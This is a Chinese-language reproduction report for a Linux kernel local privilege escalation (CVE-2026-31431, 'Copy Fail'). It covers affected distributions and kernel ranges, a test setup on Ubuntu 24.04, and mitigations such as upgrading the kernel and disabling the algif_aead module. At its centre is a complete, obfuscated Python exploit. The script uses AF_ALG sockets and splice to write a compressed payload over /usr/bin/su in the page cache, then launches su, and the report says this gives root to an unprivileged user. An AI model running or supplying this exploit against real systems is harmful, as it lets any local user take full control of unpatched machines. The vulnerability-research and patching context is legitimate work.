一、漏洞概要
-
CVE 编号:CVE-2026-31431
-
漏洞别名:Copy Fail
-
漏洞类型:Linux 内核本地权限提升(LPE),通过页缓存(page cache)写入实现
-
CVSS 3.1:7.8(高危)
-
利用条件:仅需一个无特权的本地普通用户;无需网络访问、无需内核调试功能
-
影响范围:内核提交 72548b093ee3(约 2017 年引入)至 a664bf3d603d(2026 年 3 月底修复)之间的版本
-
利用成本:极低,仅需 732 字节 Python 脚本(只用 os / socket / zlib 标准库)
二、影响版本
已知受影响的操作系统及版本:
Ubuntu 24.04 LTS及以下版本。
RedHat Enterprise Linux (RHEL) 8、9、10及以下版本。
Amazon Linux 2023及以下版本。
SUSE 16及以下版本。
Debian、Arch、Fedora、Rocky、Alma、Oracle Linux等同期内核版本。
受影响的内核提交范围:72548b093ee3 <= commit < a664bf3d603d
安全版本:commit >= a664bf3d603d
三、测试环境
-
系统:Ubuntu 24.04.1 LTS
-
内核:6.8.0-48-generic
-
测试用户:普通用户
test(无 sudo 权限)
四、环境准备
切换到普通用户:
useradd -m -s /bin/bash test
su - test
五、漏洞验证过程
1. 编写 EXP 脚本
exp.py(内容来自公开 PoC):#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")
2. 执行 EXP:

结论:普通用户
test成功提权至 root,漏洞存在且可利用。六、修复/缓解建议
1. 优先:升级内核到已修复版本并重启
-
主线 ≥ 7.0
-
稳定版 6.18 ≥ 6.18.22
-
稳定版 6.19 ≥ 6.19.12(具体以各发行版官方推送的 kernel 包版本为准)
2. 临时缓解:禁用 algif_aead 模块(若业务不依赖 AF_ALG AEAD)
# 阻止后续加载
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
#重启
reboot